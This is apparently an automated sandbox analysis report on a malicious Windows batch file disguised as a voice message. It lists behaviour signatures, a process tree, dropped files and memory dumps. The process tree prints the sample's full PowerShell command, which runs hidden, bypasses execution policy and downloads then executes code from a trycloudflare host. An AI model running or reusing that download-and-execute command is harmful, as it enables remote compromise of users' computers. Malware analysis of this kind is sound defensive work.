Analysis
- max time kernel
148s - max time network
139s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
23/04/2026, 14:08
General
- Target OPEN_Voice.bat
- Size 49KB
- Sample260423-rfxffaew2p
- SHA256 aef1ebee4db9126c92e59580b5a7544013616f8a1b746bfcdd377864269ab1c9
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 8 IoCs
- Suspicious use of SendNotifyMessage 7 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\OPEN_Voice.bat"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650012⤵
-
-
C:\Windows\system32\cscript.execscript //nologo C:\Users\Admin\AppData\Local\Temp\eeNBYwxvD347.vbs2⤵
-
-
C:\Windows\system32\cscript.execscript //nologo "C:\Users\Admin\AppData\Local\Temp\czGorUiYE434.vbs"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Nologo -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://quote-texas-son-manufactured.trycloudflare.com/lookuphistoryofaudio -UseBasicParsing | IEX "3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\VideoLAN\VLC\vlc.exe"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\BKPFwvhk541.m4a"2⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
BKPFwvhk541.m4a
__PSScriptPolicyTest_gs2egurs.b5h.ps1
czGorUiYE434.vbs
eeNBYwxvD347.vbs
xCNoUvpqpUyK763.b64
xCNoUvpqpUyK763.b64
memory/1500-455-0x00007FF803EA0000-0x00007FF804230000-memory.dmp
memory/1500-460-0x00007FF809510000-0x00007FF8095F8000-memory.dmp
memory/1500-464-0x00007FF810740000-0x00007FF810758000-memory.dmp
memory/1500-461-0x00007FF807FB0000-0x00007FF808093000-memory.dmp
memory/1500-448-0x00007FF81D280000-0x00007FF81D2B4000-memory.dmp
memory/1500-447-0x00007FF7F3580000-0x00007FF7F3678000-memory.dmp
memory/1500-453-0x00007FF8107D0000-0x00007FF8107F2000-memory.dmp
memory/1500-452-0x00007FF810800000-0x00007FF810819000-memory.dmp
memory/1500-451-0x00007FF81CF80000-0x00007FF81CF91000-memory.dmp
memory/1500-450-0x000001E0D0850000-0x000001E0D085C000-memory.dmp
memory/1500-454-0x00007FF8107A0000-0x00007FF8107CB000-memory.dmp
memory/1500-449-0x00007FF806FE0000-0x00007FF807296000-memory.dmp
memory/1500-457-0x00007FF810760000-0x00007FF810771000-memory.dmp
memory/1500-458-0x00007FF809600000-0x00007FF8096D2000-memory.dmp
memory/1500-462-0x00007FF809BD0000-0x00007FF809C11000-memory.dmp
memory/1500-456-0x00007FF810780000-0x00007FF810794000-memory.dmp
memory/1500-459-0x00007FF803C00000-0x00007FF803E96000-memory.dmp
memory/1500-466-0x00007FF809480000-0x00007FF8094AD000-memory.dmp
memory/1500-465-0x00007FF8094B0000-0x00007FF8094D6000-memory.dmp
memory/1500-463-0x00007FF8094E0000-0x00007FF80950F000-memory.dmp
memory/1500-469-0x00007FF807E40000-0x00007FF807E51000-memory.dmp
memory/1500-468-0x00007FF809440000-0x00007FF809451000-memory.dmp
memory/1500-476-0x00007FF807BA0000-0x00007FF807BB2000-memory.dmp
memory/1500-477-0x00007FF80F440000-0x00007FF80F685000-memory.dmp
memory/1500-475-0x00007FF807BC0000-0x00007FF807BDB000-memory.dmp
memory/1500-474-0x00007FF806F30000-0x00007FF806FDB000-memory.dmp
memory/1500-473-0x00007FF807BE0000-0x00007FF807C05000-memory.dmp
memory/1500-472-0x00007FF807C10000-0x00007FF807C5F000-memory.dmp
memory/1500-471-0x00007FF807C60000-0x00007FF807CF8000-memory.dmp
memory/1500-470-0x00007FF8052D0000-0x00007FF8054DB000-memory.dmp
memory/1500-467-0x00007FF809460000-0x00007FF80947A000-memory.dmp
memory/2604-425-0x0000026304540000-0x000002630454C000-memory.dmp
memory/5128-429-0x000001D09EBB0000-0x000001D09EBBC000-memory.dmp
memory/6008-439-0x00000229CFD70000-0x00000229CFD92000-memory.dmp
memory/6008-442-0x00000229CFBF0000-0x00000229CFBFC000-memory.dmp